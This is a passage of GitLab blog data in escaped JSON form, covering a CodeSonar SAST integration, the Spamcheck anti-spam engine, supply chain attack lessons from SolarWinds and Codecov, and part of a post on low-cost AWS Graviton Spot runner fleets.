comments, or questions, by [opening an issue in GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue%5Bmilestone_id%5D=) and mentioning me (@dhershkovitch).\n",[1384,1385],{"slug":17597,"featured":6,"template":678},"stageless-pipelines","content:en-us:blog:stageless-pipelines.yml","Stageless Pipelines","en-us/blog/stageless-pipelines.yml","en-us/blog/stageless-pipelines",{"_path":17603,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17604,"content":17609,"config":17615,"_id":17617,"_type":16,"title":17618,"_source":17,"_file":17619,"_stem":17620,"_extension":20},"/en-us/blog/how-grammatech-and-gitlab-enables-better-devsecops",{"title":17605,"description":17606,"ogTitle":17605,"ogDescription":17606,"noIndex":6,"ogImage":12013,"ogUrl":17607,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17607,"schema":17608},"How a new integration helps GitLab customers secure their code","GitLab Ultimate customers can use CodeSonar from GrammaTech for SAST and to bake protection into every stage of software development.","https://about.gitlab.com/blog/how-grammatech-and-gitlab-enables-better-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How a new integration helps GitLab customers secure their code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Simko\"}],\n        \"datePublished\": \"2021-08-20\",\n      }",{"title":17605,"description":17606,"authors":17610,"heroImage":12013,"date":17612,"body":17613,"category":734,"tags":17614},[17611],"Christian Simko","2021-08-20","\n\nSoftware development teams that embrace agile and [DevSecOps](/topics/devsecops/) are able to code with a security-first mindset, which is essential for industries that build particularly complicated products where security is paramount, like: Aerospace and defense, automotive, industrial controls, medical devices, and more.\n\nStatic application security testing (SAST) solutions, like [CodeSonar® from GrammaTech](https://www.grammatech.com/products/source-code-analysis), integrate directly into CI/CD pipelines to bake security into every step of the software development life cycle (SDLC) – protecting your products every step of the way. Security solutions like GrammaTech pair well with an all-in-one DevOps Platform like GitLab, and allow development teams to follow best practices and industry standards to develop code that is better quality and more secure.\n\n## The GrammaTech and GitLab integration\n\nThe GrammaTech module for [GitLab Ultimate](/pricing/ultimate/) provides native SAST capabilities that scan code for defects in CI/CD pipelines and eliminates the need for any integration and maintenance by users. It allows developers to assess code continuously, avoiding costly mistakes and the duplicative work associated with waiting until the testing phase to scan for security problems.\n\nWe recognize that developers face pressure to meet aggressive deadlines for delivering new software, as rolling releases and agile development practices have developers pushing new features and code into production faster. Integrating SAST tools like CodeSonar into a DevOps Platform like GitLab Ultimate is a natural consequence to more iterative development in companies that embrace DevSecOps practices. CodeSonar helps developers shift security left by detecting and eliminating bugs and vulnerabilities at the earliest stages of the SDLC.\n\n## SAST with CodeSonar\n\nCodeSonar uses a unified data flow and symbolic execution analysis to examine the computation of the complete application. This approach is deeper than typical pattern-matching syntax analysis, and discovers 3-5x more defects on average.\n\nStatic analysis is unlike other software development tools (i.e., testing tools, compilers, and configuration management) becuase it can be integrated into the development process at any time with ease. CodeSonar simply attaches to your existing build environments to add analysis information to your verification process.\n\n### How does CodeSonar work?\n\nLike a compiler, CodeSonar does a \"build\" of your code using the existing build environment, but instead of creating object code, CodeSonar creates an abstract model of your entire program. From the derived model, CodeSonar's symbolic execution engine explores program paths, reasoning about program variables, and how they relate. Advanced theorem-proving technology prunes infeasible program paths from the exploration.\n\n![How CodeSonar works to secure code](https://about.gitlab.com/images/blogimages/codesonar.png){: .shadow.center}\nSee how CodeSonar secures code.\n{: .note.text-center}\n\nCheckers in CodeSonar perform static code analysis to find common defects, violations of policies, etc. Checkers operate by traversing or querying the model and looking for particular properties or patterns that indicate defects. Sophisticated symbolic execution techniques explore paths through a control-flow graph – the data structure representing paths that might be traversed by a program during its execution. When the path exploration notices an anomaly, a warning is generated.\n\nAn astronomical number of combinations of circumstances must be modeled and explored, so CodeSonar employs a variety of strategies to ensure scalability. For example, procedure summaries are refined and compacted during the analysis, and paths are explored in a way that minimizes paging.\n\n## Continuous Integration enabled by GitLab\n\nIntegrating CodeSonar into GitLab's pipeline is done with each [merge request (MR)](https://docs.gitlab.com/ee/user/project/merge_requests/), automatically analyzing your code and returning any vulnerabilities found via the GitLab SAST interface. Users can consult the GitLab Security Dashboard to get an overview of code security, and the Vulnerability Report gets into the details.\n\n![How CodeSonar integrates with GitLab CI pipelines](https://about.gitlab.com/images/blogimages/codesonar2.png){: .shadow.center}\nHow CodeSonar integrates with GitLab CI pipelines.\n{: .note.text-center}\n\n### Review CodeSonar warnings in GitLab Vulnerability Reports\n\nCodeSonar displays vulnerabilities right in the GitLab UI – you can review a warning, create a GitLab issue, and assign it to a developer – all in a single application. You can also dismiss vulnerabilities. CodeSonar's fingerprinting technology ensures that GitLab won't ever show dismissed vulnerabilities to you again.\n\n### Get a more detailed warning view\n\nSometimes you need more information to decide how to handle a particular warning. CodeSonar and GitLab make this easy. The CodeSonar warning message can be viewed directly in GitLab, and CodeSonar's detailed warning reports with annotated source code are just a click away – no copy and pasting, or searching for line numbers.\n\n![Example of GitLab vulnerability report](https://about.gitlab.com/images/blogimages/codesonar3.png){: .shadow.center}\nSee example of a GitLab vulnerability report and detailed view of warnings.\n{: .note.text-center}\n\n## How to get started\n\nA typical way to use the GitLab CI/CD pipeline is to set it up to run whenever new Git commits are submitted to a MR. When you add CodeSonar static analysis to your MR pipeline, GitLab will display the new analysis warnings on the MR page. The full set of warnings is always available on the pipeline page.\n\n### Prerequisites to use CodeSonar\n\n1. The CodeSonar integration requires a working instance of *GitLab Ultimate edition*.\n2. You must have a source code project in your GitLab instance that you wish to analyze. Set up a [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) pipeline for your project that can build your source code. This will include the configuration of one or more GitLab pipeline jobs ([more on how to configure GitLab Runners](https://docs.gitlab.com/runner/configuration/)).\n3. If you use Docker, ensure you have [Docker Engine](https://docs.docker.com/engine/install/) version 19.03.12 or later.\n4. Use the CodeSonar software package that is appropriate for your GitLab pipeline job runner's operating platform.\n5. Set up a dedicated, \"persistent\" CodeSonar Hub to coordinate and receive the results of your analysis. See your CodeSonar manual for how to set up and license a Hub.\n6. You will need a valid CodeSonar Hub license that is appropriate to your configuration and the CodeSonar GitLab Integration software package.\n\nRead the [instructions on installing the CodeSonar GitLab integration](https://support.grammatech.com/documentation/codesonar/integrations/gitlab/).\n\n_Christian Simko is the Director of Product Marketing at GrammaTech._\n",[674,232,676],{"slug":17616,"featured":6,"template":678},"how-grammatech-and-gitlab-enables-better-devsecops","content:en-us:blog:how-grammatech-and-gitlab-enables-better-devsecops.yml","How Grammatech And Gitlab Enables Better Devsecops","en-us/blog/how-grammatech-and-gitlab-enables-better-devsecops.yml","en-us/blog/how-grammatech-and-gitlab-enables-better-devsecops",{"_path":17622,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17623,"content":17629,"config":17634,"_id":17636,"_type":16,"title":17637,"_source":17,"_file":17638,"_stem":17639,"_extension":20},"/en-us/blog/introducing-spamcheck-data-driven-anti-abuse",{"title":17624,"description":17625,"ogTitle":17624,"ogDescription":17625,"noIndex":6,"ogImage":17626,"ogUrl":17627,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17627,"schema":17628},"Introducing Spamcheck: A data-driven, anti-abuse engine","How we built, tested and deployed a new tool on GitLab that fights spam and abuse.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669841/Blog/Hero%20Images/lionello-delpiccolo-unsplash.jpg","https://about.gitlab.com/blog/introducing-spamcheck-data-driven-anti-abuse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Spamcheck: A data-driven, anti-abuse engine\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jayson Salazar\"},{\"@type\":\"Person\",\"name\":\"Alexander Dietrich\"},{\"@type\":\"Person\",\"name\":\"Alex Groleau\"},{\"@type\":\"Person\",\"name\":\"Ethan Urie\"},{\"@type\":\"Person\",\"name\":\"Juliet Wanjohi\"}],\n        \"datePublished\": \"2021-08-19\",\n      }",{"title":17624,"description":17625,"authors":17630,"heroImage":17626,"date":17631,"body":17632,"category":674,"tags":17633},[16384,16385,16386,16387,16388],"2021-08-19","\n\nSpam and abuse are a very real concern for us at GitLab – and likely every company providing services at scale. That's why our [Trust and Safety team](/handbook/security/security-operations/trustandsafety) works hard every day to detect, mitigate, and lessen the effects of spam. Back in October 2020, the GitLab Security team [detailed some of the ways they combat spam and abuse](/blog/how-we-work-to-detect-and-mitigate-spam/) and referenced new approaches we were developing and testing to help us better detect and prevent spam.\n\n**We're excited to introduce Spamcheck, our new anti-spam engine. Spamcheck has been enabled for all projects on GitLab.com, which runs 14.1, and will be targeting inclusion of Spamcheck in the [14.6 release for our GitLab self-managed customers](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6259).**\n\nThis tool was designed, tested and integrated by our GitLab [Security Automation](/handbook/security/security-engineering/automation/) team (with amazing partnership from our Trust and Safety team and our [Create](/handbook/engineering/development/dev/#create) and [Plan](/handbook/product/categories/#plan-stage) Engineering Development teams here at GitLab) with the purpose of improving GitLab's resilience to spam and abuse – in respect to both user experience and infrastructure robustness. We're continuing to develop and mature Spamcheck, but this two-part blog series will detail the development of this tool thus far (part one) and the [tech stack behind it (part two)](https://about.gitlab.com/blog/deep-dive-tech-stack-behind-spamcheck/).\n\n## Testing, prototyping, and more testing\n\nAt its core, spam prevention is a data-driven and a product-driven process. It is data-driven because information about each artifact, such as issues and users, must be captured, processed, and acted upon to actually prevent spam and abuse. On the other hand, GitLab itself must be iteratively improved on in order to support the consumption of data necessary for abuse prevention, the enactment of moderation tasks, and much more.\n\nWith this process in mind, one of our first steps was to create a spam testbed. The spam testbed was where we instrumented existing product and infrastructure components to passively extract spam from the most affected namespaces into separate GitLab instances – this was our laboratory. This approach allowed us to try different spam-handling methods and analyse the effect on the product's behavior, measuring and identifying the components and improvements we would need further down the road. Our testbed allowed us to understand what parts of the codebase we could reuse, what Spamcheck's future architecture should look like, and what development process would allow us to move fast without too much breakage.\n\nAfter we had a testbed that architecturally resembled what we believed Spamcheck should look like, we started working on a prototype that leveraged a technology stack that would provide the stability, flexibility, and performance we needed – but this was no simple feat. There were many moving parts that hindered a frictionless development experience. Our toolchain was convoluted, due in part to [gRPC](https://en.wikipedia.org/wiki/GRPC), [ProtoBuf](https://en.wikipedia.org/wiki/Protocol_Buffers) definitions, and [GoLang's](https://en.wikipedia.org/wiki/Go_(programming_language)) somewhat immature tooling – but also because of the complexity of our [GitLab development kit](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md). This toolchain complexity required a robust build and set-up process that would work locally for our developers but that could also be reused in our CI/CD pipelines. Our next blog post will dive deeper into our tech stack, so stay tuned!\n\n## Building the tool\n\nWe developed Spamcheck in a loosely coupled manner from the get-go, only relying on data coming from production to learn, prototype, and build out the service. However, as we gained confidence in our approach, we started getting closer to production again, integrating Spamcheck as one would any other service. This process required defining and introducting features carefully, e.g., gRPC-client code, UI components for handling Spamcheck's service URL and API keys, and also the definition of milestones and safeguards we wanted in place before completely integrating with production.\n\nOnce we had those features in place, we deployed Spamcheck to GitLab's staging environment. In staging, we carefully measured how GitLab and all monitored namespaces interacted with Spamcheck, and improved on its progressive roll-out capabilities, such as project and email-address filtering to improve quality assurance and control how many projects and users would be analyzed by the service.\n\n## Deploying to production, iteratively\n\nAfter successfully delivering Spamcheck to staging and processing more data, we started planning Spamcheck's deployment to production. Since Spamcheck was a new service, we wanted to control the volume of incoming requests for predictions to ensure that our service remained performant and didn't slow down issue creation on GitLab.com.\n\nWe started with a small scope of projects that we checked for spam while assessing the accuracy of our predictions and building out a project allowlist/denylist feature. The integration with GitLab involved refactoring our existing spam handling code to take Spamcheck's responses into account. In this case, we used Akismet alongside Spamcheck and applied all the spam verdicts to decide what GitLab should block and what it should allow.\n\nWe started operating in monitoring mode, looking to avoid disruptions and other surprises as we moved to production. This meant verdicts rendered by Spamcheck would still be logged for the purposes of data collection, but ultimately no action would be taken based on this output. This helped us fine-tune our development and delivery as well as our detection and measurement processes. Once we were comfortable with the performance and accuracy, we increased scope and progressively expanded our list of monitored projects to all public projects on GitLab.com.\n\n## Using data to inform and improve\n\nWe aimed for Spamcheck's creation to be a heavily data-informed process and we'd encourage anyone implementing similar features to do the same.\n\nWhat this means is mostly logs, logs, and more logs.\n\nDuring design, prototyping, and now in production, we logged anything we could so we can measure, learn, and iterate. In the beginning, we measured things like:\n\n- The number of issues created\n- Quantity of expected modification events\n- How many spammy issues we were seeing, including their cadence and characterizing their content\n- Assessed the most affected namespaces, and more.\n\nAs we progressed, we also measured the effectiveness of Spamcheck vs. [Akismet](https://akismet.com/) – which is another spam protection service – including their response times, peaks of spam activity, etc. This allowed us to move forward with confidence and helped us build tools like dashboards to enable information sharing with other teams, and helped us double-check assumptions and continually iterate on Spamcheck.\n\nEarly analysis of our metrics indicate we're outperforming Akismet when GitLab.com is being attacked during spam waves. However our false positive rate is slightly higher than Akismet during normal day-to-day operations, which triggers a reCAPTCHA in our frontend. We're now working on reducing our false positive rate by improving our ML models, automating training processes, and setting static rules. We'll provide a more detailed analysis of our performance versus Akismet in the second blog post.\n\n## Cross-organizational collaboration\n\nBuilding, testing, iterating on, and implementing Spamcheck was truly a collaborative effort between our Security Automation team and multiple teams across GitLab. We'd like to thank [Roger Ostrander](/company/team/#rostrander) from our Trust and Safety team, [Chad Wooley](/company/team/#cwoolley-gitlab) from our Create: Editor team, and [Charlie Ablett](/company/team/#cablett) from our Plan: Product Planning team and [Stan Hu](/company/team/#stanhu), Engineering Fellow, for their many contributions to the successful launch of Spamcheck.\n\nIn our next blog, we'll dive deep into the technology stack that supports Spamcheck, how we selected some of the supporting infrastructure and frameworks, provide some deeper analysis into the tool's performance and what lies ahead in development.\n\nCover image by [Lionello DelPiccolo](https://unsplash.com/@liodp?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/collections/978365/automation?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674],{"slug":17635,"featured":6,"template":678},"introducing-spamcheck-data-driven-anti-abuse","content:en-us:blog:introducing-spamcheck-data-driven-anti-abuse.yml","Introducing Spamcheck Data Driven Anti Abuse","en-us/blog/introducing-spamcheck-data-driven-anti-abuse.yml","en-us/blog/introducing-spamcheck-data-driven-anti-abuse",{"_path":17641,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17642,"content":17648,"config":17654,"_id":17656,"_type":16,"title":17657,"_source":17,"_file":17658,"_stem":17659,"_extension":20},"/en-us/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops",{"title":17643,"description":17644,"ogTitle":17643,"ogDescription":17644,"noIndex":6,"ogImage":17645,"ogUrl":17646,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17646,"schema":17647},"How DevSecOps can protect businesses from future supply chain attacks","Learn how GitLab's all-in-one DevSecOps solution can help businesses keep their supply chains secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669522/Blog/Hero%20Images/solarpanels.jpg","https://about.gitlab.com/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How DevSecOps can protect businesses from future supply chain attacks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Fortuna\"},{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2021-08-18\",\n      }",{"title":17643,"description":17644,"authors":17649,"heroImage":17645,"date":17651,"body":17652,"category":674,"tags":17653},[17650,7599],"Pedro Fortuna","2021-08-18","\n\nOne of the cybersecurity keywords for 2021 will undoubtedly be \"software supply chain attacks\". For decades, we've seen a global move toward connected systems and highly complex supply chains. Today these supply chains are under attack, with malicious actors jeopardizing the sensitive data of millions of users through attacks on the public and private sectors.\n\nAfter public and federal entities were targeted in some high-profile supply chain attacks, the United States government released an [executive order](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) with plans to improve the security posture of the nation when it comes to software supply chains. The UK issued a similar [call for views on cybersecurity in supply chains](https://www.gov.uk/government/publications/call-for-views-on-supply-chain-cyber-security/call-for-views-on-cyber-security-in-supply-chains-and-managed-service-providers) around the same time.\n\nSupply chain security became a global priority after the SolarWinds attack, reminding businesses and institutions of the extensive damages caused by these vulnerabilities.\n\n## A brief summary of the SolarWinds incident\n\nBetween April and June 2020, malicious actors exploited vulnerabilities in the Solarwinds Orion Platform and inserted a backdoor – allowing attackers to deploy multiple payloads like spyware, and leak confidential data from companies that used the platform, including some U.S. federal entities.\n\n[Current estimates are 18,000 organizations](https://www.zdnet.com/article/sec-filings-solarwinds-says-18000-customers-are-impacted-by-recent-hack/) were impacted by the [SolarWinds attack](/blog/devops-platform-supply-chain-attacks/), but there's a lot we still don't know about the magnitude of the attack. One thing we know for certain is the number of successful supply chain attacks is increasing, and businesses need more effective security measures to protect their software supply chain.\n\n[Web-based supply chain attacks](https://jscrambler.com/resources/white-papers/supply-chain-attacks?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds) is a particularly concerning vector of attack. The number of web-based attacks have grown over the past few years and provide attackers with a lower barrier to entry when it comes to getting their hands on valuable user data.\n\n## An emerging attack vector: Web supply chain attacks\n\nToday, the average website runs [35 distinct third-party scripts](https://www.reflectiz.com/blog/looking-at-the-figures-of-third-party-application-security-on-websites-part-1/). Plus, it's estimated that only 3% of the source code of the actual website is written by the team developing the website, while the remaining 97% comes from third-party libraries used during development. Oftentimes, several pieces of third-party code will be coming from companies or individuals with fewer resources dedicated to security, which puts the typical website on precarious footing with an extremely high level of exposure to third-party risk.\n\nThe dependence on third-party code creates a significant opportunity for attackers by allowing them to breach a third-party code supplier and inject a malicious payload into the source code of the third-party script. The compromised source code will then make its way down the web supply chain, reaching hundreds or thousands of different websites.\n\nHere's where things get even more complicated. In the context of the web, every website script has the same privileges, whether it is a first or third party. As such, a compromised third-party script will be able to harvest any user input, add extra code, hijack events, and fully modify the behavior of the web page. As a result, web supply chain attacks are now being used to leak sensitive user data, such as user credentials, credit card numbers, and other types of PII/PHI that are then sold on underground marketplaces.\n\nA prime example of a web supply chain attack occurred in April 2021, when Codecov, a popular code coverage tool, was breached. The attackers modified the source code of the tool and leaked sensitive data, including dev credentials, tokens, and keys. At the time, more than 29,000 companies were potentially exposed to the attack and some companies reported being breached by [Magecart web skimmers](https://www.bleepingcomputer.com/news/security/e-commerce-giant-suffers-major-data-breach-in-codecov-incident/) or [having their source code exposed to attackers](https://www.bleepingcomputer.com/news/security/codecov-hackers-gained-access-to-mondaycom-source-code/) in the weeks that followed.\n\n## Web supply chain security from within DevSecOps\n\n[DevSecOps](/topics/devsecops/) is a key resource in the global push toward more secure supply chains.\n\nThe whole premise of DevSecOps is to ingrain security controls throughout the entire software development lifecycle. Companies must adopt a multi-layered, defense-in-depth posture to reduce the risk of web supply chain attacks, which is ideally integrated into their DevSecOps workflow. Adopting DevSecOps practices will provide businesses with much-needed **visibility** and **control** over their website supply chain.\n\nThe [GitLab DevOps platform](/solutions/devops-platform/) provides the necessary layers of protection for improved web supply chain security in a single application.\n\nFirst, GitLab automates the process of **scanning the application** using [several tools](/stages-devops-lifecycle/secure/) and techniques, such as SAST, DAST, dependency, container scanning, secrets detection, and fuzz testing (including API fuzzing). This robust scanning increases visibility over potentially insecure third-party code, while also giving full visibility into all code changes before they are pushed to the main branch.\n\nWhile vulnerability scanning is an important step to minimize exposure to web supply chain attacks, the source code of the application is still exposed at the client-side and can be reverse-engineered or tampered with by attackers during the recon stage of the attack. To address this risk, GitLab provides **source code protection** through an [integration with Jscrambler](/blog/how-to-protect-your-source-code-with-gitlab-and-jscrambler/). [Jscrambler](https://jscrambler.com/?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds) adds key security layers such as obfuscation, code locks, and runtime protection, which thwart static and dynamic code analysis and locks out attackers.\n\nGitLab's integration with Jscrambler also provides access to additional security layers that bring the required **visibility** and **control** over web supply chain attacks at runtime. One of these key layers is an [inventory of all the scripts running on the website](https://jscrambler.com/free-website-inventory-report?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds) and network requests, providing real-time alerts whenever malicious behavior is detected at the client-side. When coupled with **Jscrambler's powerful rules engine**, GitLab provides a [zero-trust](/blog/tags.html#zero-trust) approach to website security, blocking any malicious behavior originating from third-party code.\n\nFinally, being a true end-to-end DevOps platform, GitLab has built-in security features that simplify the process of continuous iteration. This is key for any defense-in-depth strategy: Providing enough simplicity to enable security within any organization.\n\n## Supply chain security becomes new global priority\n\nThere is no question that the SolarWinds supply chain attack is one for the ages, prompting a necessary global push for improved supply chain cybersecurity and highlighted the importance of protecting the web supply chain.\n\nReducing exposure to web supply chain attacks requires a defense-in-depth approach that should be built into companies' DevSecOps workflows. GitLab's end-to-end DevOps platform provides multiple layers of security to address this risk, namely through integration partners such as Jscrambler.\n\nAs we see more companies try to improve their security posture by using the right tools to mitigate web supply chain attacks, I'm confident that they will soon outpace attackers and succeed in keeping billions of users safe.\n\n_Pedro Fortuna is the founder of [Jscrambler](https://jscrambler.com/?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds)._\n\n[Cover image](https://unsplash.com/photos/d7FbDJkJSFw) by [Markus Spiske](https://unsplash.com/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[4103,674,232],{"slug":17655,"featured":6,"template":678},"what-the-solarwinds-attack-can-teach-us-about-devsecops","content:en-us:blog:what-the-solarwinds-attack-can-teach-us-about-devsecops.yml","What The Solarwinds Attack Can Teach Us About Devsecops","en-us/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops.yml","en-us/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops",{"_path":17661,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17662,"content":17668,"config":17675,"_id":17677,"_type":16,"title":17678,"_source":17,"_file":17679,"_stem":17680,"_extension":20},"/en-us/blog/100-runners-in-less-than-10mins-and-less-than-10-clicks",{"title":17663,"description":17664,"ogTitle":17663,"ogDescription":17664,"noIndex":6,"ogImage":17665,"ogUrl":17666,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17666,"schema":17667},"Setting up 100 AWS Graviton Spot Runners for GitLab","Utilizing the GitLab HA Scaling Runner Vending Machine for AWS Automation to setup 100 GitLab runners on AWS Spot.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669882/Blog/Hero%20Images/hundredgitlabspotrunner.png","https://about.gitlab.com/blog/100-runners-in-less-than-10mins-and-less-than-10-clicks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to provision 100 AWS Graviton GitLab Spot Runners in 10 Minutes for $2/hour\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"},{\"@type\":\"Person\",\"name\":\"Nupur Sharma\"}],\n        \"datePublished\": \"2021-08-17\",\n      }",{"title":17669,"description":17664,"authors":17670,"heroImage":17665,"date":17672,"body":17673,"category":734,"tags":17674},"How to provision 100 AWS Graviton GitLab Spot Runners in 10 Minutes for $2/hour",[1244,17671],"Nupur Sharma","2021-08-17","\n\nManaging elastically scaled or highly available compute infrastructures is one of the key challenges the cloud was built for. Application scaling concerns can be handled by cloud services that are purpose designed, rigorously tested, and continually improved. This article dives into some specific enablement automation that brings the benefits of AWS Autoscaling Groups (ASG) to runner management. There are benefits to both the largest fleets and single instance runners.\n\nEmbedded in this article is a YouTube video that demonstrates the deployment of 100 GitLab runners on Amazon EC2 Spot compute in less than 10 minutes using less than 10 clicks. The video also shows updating this entire fleet in under 10 minutes to emphasize the time savings of built-in maintenace.\n\nThe information and automation in this article applies to GitLab Private Runners which are deployed on your own compute resources. Self-managed GitLab instances require private runners, but they can also be configured and used with GitLab.com SaaS accounts.\n\n## Well-architected runner management\n\nThere are many different reasons that a customer might need to deploy multiple runners with various characteristics. Some of the more popular ones are:\n\n- Workloads that require large-scale runner fleets.\n- To gain cost savings through Spot compute, uptime scheduling, and ARM architecture.\n- Projects with high demand of CI activity to make sure that the runner is not being held up by jobs on another project.\n- Jobs that have special security requirements, e.g., security credentials, role-based access or managed identities for Continuous Delivery (CD). These security requirements can enable instance-level (AWS IAM Instance Profile) security by allowing runners with sufficient rights to deploy in specific target environments. For example, a CD runner for non-production environments and a different runner for production.\n- Implementing role-based access control rather than user-based. This means users don't have to use secrets to manage security requirements for CI jobs to accomplish their tasks.\n- Development teams can be confident the runner has the same capabilities for CI and CD automation they test through their interactive logins by leveraging a common IAM role.\n\n### The challenges of building production-grade elastic GitLab Runners\n\n[The GitLab Runner](https://docs.gitlab.com/runner/) is the workhorse of GitLab CI and CD capabilities. The runner can handle numerous operating environments and automation functions for a GitLab instance. The GitLab Runner has become very sophisticated due to the broad range of supported environments. In order to successfully configure the GitLab Runner as a set-it-and-forget-it service, the user has to work through many different decisions and considerations. We summarize some of the GitLab Runner-specific considerations that can be challenging:\n\n- There are a lot of configuration options and scenarios to sort through. It can be an iterative process to discover what needs to be done to set up GitLab Runners.\n- Ensuring runners are a production-grade capability requires Infrastructure as Code (IaC) development so that high availability and scaling can be achieved by automatically spawning new instances.\n- Ensuring that runner deregistration happens correctly when GitLab Runners are automatically scaled in.\n- Additional cost-saving configurations, such as Spot compute and scheduled runner uptime, can complicate the automation requirements for AWS Autoscaling Groups (ASGs).\n- Large organizations often want developers to be able to easily self-service deploy runners with various configurations. Service Management Automation (SMA) has been made popular with products like Service Now, AWS Service Catalog, and AWS Control Tower. This automation is compatible with SMA.\n- It can be difficult to map runners to AWS and map AWS to runners in large organizations with numerous runners and AWS accounts.\n\n### Introducing the GitLab HA Scaling Runner Vending Machine for AWS\n\nAn effective way to handle multiple design considerations is to make a reusable tool. To help you with best practice runner deployments on AWS, we created the [GitLab HA Scaling Runner Vending Machine for AWS](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/) (\"The GitLab Runner Vending Machine\"). It is created in AWS’ Infrastructure as Code, known as CloudFormation.\n\n> **Designed with AWS Well Architected:** This automation has many features beyond the scope of this blog post. The primary focus of this blog post is on managing costs. See the [full list of features here](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/FEATURES.md).\n\nThe GitLab Runner Vending Machine has the following cost management and scaling management benefits, exposed as a variety of parameters:\n\n- The ability to leverage Spot compute instances. This is important because it leaves CI/CD pipeline developers in charge of whether specific Gitlab CI/CD jobs run on Spot compute or not.\n- ASG-scheduled scaling so that a runner or runner fleet can be completely shutdown when not in use.\n- The GitLab Runner Vending Machine can leverage ARM compute for Linux - which runs faster and costs less.\n- It can also use ASG to update all runners in a fleet with the latest machine images and GitLab Runner version (or a specific version). When maintenance is not built-in, the labor cost of keeping things up-to-date can be significant.\n- Runner naming and tagging in AWS and GitLab, which eases the burden of locating runner instances and managing orphaned runners registrations, whether it is manual or automated.\n\n### How to save money with The GitLab Runner Vending Machine\n\nSignificant savings are possible with this IaC, whether your team wants to save on a single runner or a fleet of them.\n\nThe savings calculations below are for a single runner and should be linear for a given workload. To calculate your savings for more runners, simply multiply the final result by the number of runner instances. The available \"Runner Minutes\" per hour is calculated as the runner's job concurrency setting multiplied by the minutes in an hour. For this exercise, we'll use job concurrency of \"10\". This number should be changed depending on the instance types you are using and the load testing of your typical CI/CD workloads.\n\nJust like most performance analysis, we are assuming that hardware resource utilization is optimal and consistent. If a runner cluster can sustain respectable performance with 80% CPU loading, this calculation assumes that would be maintained regardless of the size of the cluster.\n\n#### AWS Graviton ARM and Spot savings\n\nThe GitLab Runner engineering team has completed performance testing that demonstrates performance gains of more than 30% on some AWS Graviton (ARM-based) instance types. Assuming that runners are performance-managed for optimized utilization, this gain is a direct cost savings. Just recently, we shared [how deploying GitLab on Arm-based AWS Graviton2 resulted in cost savings of 23% and 36% performance gains](/blog/achieving-23-cost-savings-and-36-performance-gain-using-gitlab-and-gitlab-runner-on-arm-neoverse-based-aws-graviton2-processor/).\n\n![ARM Efficiency Test Results For GitLab Runner](https://about.gitlab.com/images/blogimages/hundred-runners/hundredrunners-image1.png)\nGitLab Runner testing results for ARM-efficiency gains.\n{: .note.text-center}\n\n#### Scheduling savings\n\nThe savings can be dramatic when teams are able to turn off runners when not in use. For instance: Scheduling a runner to operate for 40-hours per week saves 76% when compared to the cost of running it for 168 hours. Runners that are just in use for 10 hours per week saves 94%.\n\n#### Combining scheduling, Spot, and ARM to save 97%\n\nJust for fun, let's see what savings are possible by comparing a standard runner scenario with deploying runners in customized, stand-alone instances to the maximum savings automation can deliver.\n\nImagine I am a developer who set up a custom GitLab Runner on an m5.xlarge instance, which is x86 the architecture, for a development team that works for 40 hours on the same time zone. Since there is no automation, the GitLab Runner runs 24/7. We will assume a job concurrency of 10, which gives 600 \"runner minutes\" per hour of run time. Scheduling uptime, running on Spot, and leveraging ARM can all be achieved quickly by redeploying the runner with The GitLab Runner Vending Machine.\n\nHere is the calculation to run the configuration described above, for one week: On Demand, x86, Always On: 1 x m5.xlarge = .192/hr x 168 hrs/week = **$32/week or $1664/year**\n\nHere are the savings that come from running Spot, ARM, and scheduling the Runner to be up just 40hrs/week: 1 x m6g.large Spot = .0419 x 40hrs/week x 64% (36% better performance) = **$1/week**\n\n$1/$32 x 100 = 3.125% of the original cost for the same work. In other words, **we just saved 97%** without ever impacting the ability to get the job done.\n\nIn short, The GitLab Runner Vending Machine intends to bring the many cost saving mechanisms of AWS Cloud computing to your GitLab Runner fleets.\n\nYou can save costs by using ARM/Graviton instances, Spot compute, or by scheduling uptime. In many cases, you can combine all three savings 